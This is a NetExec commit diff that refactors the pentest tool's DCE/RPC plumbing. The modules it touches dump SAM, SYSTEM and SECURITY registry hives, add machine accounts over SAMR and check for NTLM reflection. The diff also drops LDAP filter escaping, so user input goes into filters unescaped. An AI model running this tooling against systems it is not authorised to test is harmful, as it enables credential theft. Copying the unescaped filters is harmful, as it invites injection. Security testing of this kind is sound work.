Merge branch 'main' into mpgn-patch-1

Signed-off-by: mpgn <[email protected]>
This commit is contained in:
mpgn authored and GitHub committed 2026-07-15 16:08:01 +02:00
commit 1abed07bca
52 files changed
+1208 -1060

No files matched your search

+1 -1
View File
@@ -9,7 +9,7 @@ jobs:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
python-version: ["3.13"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
+1
View File
@@ -65,3 +65,4 @@ Awesome code contributors of NetExec:
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf)
+1
View File
@@ -81,6 +81,7 @@ a = Analysis(
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
+2 -1
View File
@@ -148,6 +148,7 @@ class connection:
self.args.use_kcache or
self.args.aesKey or
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
@@ -254,7 +255,7 @@ class connection:
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
+15 -8
View File
@@ -478,14 +478,21 @@ def pfx_auth(self):
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
try:
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except Exception as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
+101
View File
@@ -0,0 +1,101 @@
import contextlib
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCRPCConnection:
"""
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
"""
def __init__(self, connection, force_tcp=False):
self.connection = connection
self.force_tcp = force_tcp
self.dce = None
self.rpc_transport = None
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
if string_binding is not None:
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
elif self.force_tcp:
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
else:
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
self.dce = self.rpc_transport.get_dce_rpc()
if self.connection.kerberos and not anonymous_rpc:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.connect()
if auth_level is not None:
self.dce.set_auth_level(auth_level)
self.dce.bind(interface_uuid)
return self.dce
def disconnect(self):
if self.dce:
with contextlib.suppress(Exception):
self.dce.disconnect()
self.dce = None
@property
def transport(self):
return self.rpc_transport
def get_smb_connection(self):
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
return self.rpc_transport.get_smb_connection()
return None
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.disconnect()
return False
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
conn = self.connection
if anonymous_rpc:
rpc_transport.set_credentials("", "", "", "", "", "")
rpc_transport.set_kerberos(False, None)
else:
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
if conn.kerberos:
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
def create_smb_transport(self, named_pipe, target_ip=None):
conn = self.connection
# Create a new SMB conn if we don't have one already or
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
if target_ip or conn.host:
rpc_transport.setRemoteHost(target_ip or conn.host)
return rpc_transport
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
conn = self.connection
target = target_ip or conn.remoteName
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
rpc_transport.setRemoteHost(target)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if target_ip is not None:
rpc_transport.setRemoteHost(target_ip)
elif set_remote_host is not None:
rpc_transport.setRemoteHost(set_remote_host)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
+4 -8
View File
@@ -1,8 +1,9 @@
import sys
from impacket.dcerpc.v5 import samr, transport
from impacket.dcerpc.v5 import samr
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -80,19 +81,14 @@ class NXCModule:
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
def _do_samr(self):
conn = self.connection
rpc_transport = transport.SMBTransport(conn.conn.getRemoteHost(), 445, r"\samr", smb_connection=conn.conn)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR: {e}")
return
try:
self._samr_execute(dce, conn.conn.getRemoteName())
self._samr_execute(dce, self.connection.conn.getRemoteName())
finally:
dce.disconnect()
+3 -11
View File
@@ -3,9 +3,9 @@ from time import sleep
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5 import rrp
from nxc.helpers.misc import CATEGORY, gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -31,17 +31,9 @@ class NXCModule:
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
+11 -20
View File
@@ -1,7 +1,8 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -45,31 +46,21 @@ class NXCModule:
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
dce = NXCRPCConnection(connection).connect(
None,
samr.MSRPC_UUID_SAMR,
string_binding=string_binding,
set_remote_host=connection.host,
anonymous_rpc=True,
)
context.log.info("Connecting with null session credentials.")
else:
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
+7 -7
View File
@@ -3,16 +3,16 @@ import json
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.ldap.ldapasn1 import SDFlagsControl
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
@@ -190,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
"TARGET": lambda target: f"(sAMAccountName={target})",
"TARGET_DN": lambda target: f"(distinguishedName={target})"
}
@@ -200,7 +200,7 @@ class NXCModule:
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
It could be interesting to implement the write/remove functions here.
"""
name = "daclread"
@@ -288,7 +288,7 @@ class NXCModule:
if self.principal_sAMAccountName is not None:
try:
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
attributes=["objectSid"],
)
resp_parsed = parse_result_attributes(resp)[0]
@@ -306,7 +306,7 @@ class NXCModule:
resp = connection.search(
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
)
resp_parsed = parse_result_attributes(resp)[0]
+1
View File
@@ -50,6 +50,7 @@ class NXCModule:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.lms_name = module_options["NAME"]
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
+8 -91
View File
@@ -3,11 +3,11 @@
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -45,20 +45,8 @@ class NXCModule:
results = {}
try:
lsa = LsaLookupNames(
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, _ = lsa.connect()
lsa = LsaLookupNames(connection=connection)
dce = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
@@ -103,82 +91,11 @@ class NXCModule:
class LsaLookupNames:
timeout = None
authn_level = None
protocol = None
transfer_syntax = None
machine_account = False
def __init__(self, connection=None):
self.connection = connection
iface_uuid = lsat.MSRPC_UUID_LSAT
authn = True
def __init__(
self,
domain="",
username="",
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
aesKey="",
):
self.domain = domain
self.username = username
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
transfer syntax specified.
:return: tuple of DCE/RPC and RPC Transport objects
:rtype: (DCERPC_v5, DCERPCTransport)
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
rpc_transport.set_connect_timeout(self.timeout)
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
# Bind if specified
iface_uuid = iface_uuid or self.iface_uuid
if iface_uuid and self.transfer_syntax:
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
elif iface_uuid:
dce.bind(iface_uuid)
return dce, rpc_transport
def connect(self):
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
def open_policy(self, dce):
request = lsad.LsarOpenPolicy2()
+16 -1
View File
@@ -7,6 +7,8 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
import contextlib
class NXCModule:
@@ -68,8 +70,18 @@ class NXCModule:
else:
rpctransport.setRemoteHost(connection.host)
dce = None
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
if int(self.__port) == 135:
rpc = NXCRPCConnection(connection, force_tcp=True)
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
else:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -81,6 +93,9 @@ class NXCModule:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
+5 -18
View File
@@ -1,7 +1,8 @@
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.nmb import NetBIOSError
@@ -55,19 +56,9 @@ class NXCModule:
def on_login(self, context, connection):
connection.trigger_winreg()
# Connect to RemoteRegistry to read UBR from registry
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Query the UBR
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Connect to RemoteRegistry to read UBR from registry
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
@@ -113,10 +104,6 @@ class NXCModule:
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
(6, 0, 6003): 23351, # Windows Server 2008 SP2
(6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25522, # Windows Server 2012
(6, 3, 9600): 22620, # Windows Server 2012 R2
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
+1 -1
View File
@@ -32,7 +32,7 @@ class NXCModule:
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
srvs = [srv for srv in res if srv["Local Login"] is not None]
if not srvs:
self.context.log.fail("No linked servers found.")
return
+13 -39
View File
@@ -1,9 +1,10 @@
import re
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5 import even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -110,18 +111,7 @@ class NXCModule:
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
msevenclass.connect(connection, target)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
@@ -142,37 +132,21 @@ class MSEven6Trigger:
self.context = context
self.dce = None
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
def connect(self, connection, target):
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.dce = NXCRPCConnection(connection).connect(
None,
even6.MSRPC_UUID_EVEN6,
target_ip=target,
string_binding=binding,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
-11
View File
@@ -7,23 +7,12 @@ from datetime import datetime
from struct import unpack
from impacket.structure import Structure
from ldap3 import LEVEL
from os.path import expanduser
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry["type"] != "searchResEntry":
continue
zones.append(entry["attributes"]["dc"])
return zones
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
+56 -92
View File
@@ -1,8 +1,8 @@
import ssl
import ldap3
import re
from io import BytesIO
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -98,24 +98,25 @@ class NXCModule:
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
self.context = context
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
context.log.fail(f"Failed to list shares: {e}")
self.context.log.fail(f"Failed to list shares: {e}")
return
context.log.display("Searching for GptTmpl.inf files")
self.context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
context.log.info(f"Found GptTmpl.inf: {path}")
self.context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -123,22 +124,22 @@ class NXCModule:
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(context, connection)
ldap_connection = self.initialize_ldap_connection(connection)
context.log.success(f"Privileges extracted from {path}:")
self.context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
resolved_sids = [self.resolve_sid(sid, ldap_connection) for sid in sids]
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.unbind()
ldap_connection.close()
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
@@ -159,101 +160,64 @@ class NXCModule:
return privileges
def initialize_ldap_connection(self, context, connection):
def initialize_ldap_connection(self, connection):
"""
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
ldap_connection = None
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
if connection.kerberos:
ldap_connection.kerberosLogin(
connection.username,
connection.password or "",
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey or "",
kdcHost=connection.kdcHost,
useCache=bool(connection.use_kcache),
)
else:
ldap_connection.login(
user=connection.username,
password=connection.password or "",
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
)
self.context.log.success("Connected to LDAP.")
except Exception as e:
self.context.log.fail(f"LDAP connection failed: {e}")
return None
return ldap_connection
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
def resolve_sid(self, sid, ldap_connection):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection and ldap_connection.bound:
if ldap_connection:
try:
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
resp = ldap_connection.search(
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
parsed_result = parse_result_attributes(resp)
if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
if parsed_result and "sAMAccountName" in parsed_result[0]:
return f"{parsed_result[0]['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPSearchError:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPFilterSyntaxError:
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
except Exception as e:
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
else:
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
return sid
+9 -8
View File
@@ -4,10 +4,10 @@
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -22,12 +22,13 @@ class NXCModule:
def on_login(self, context, connection):
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
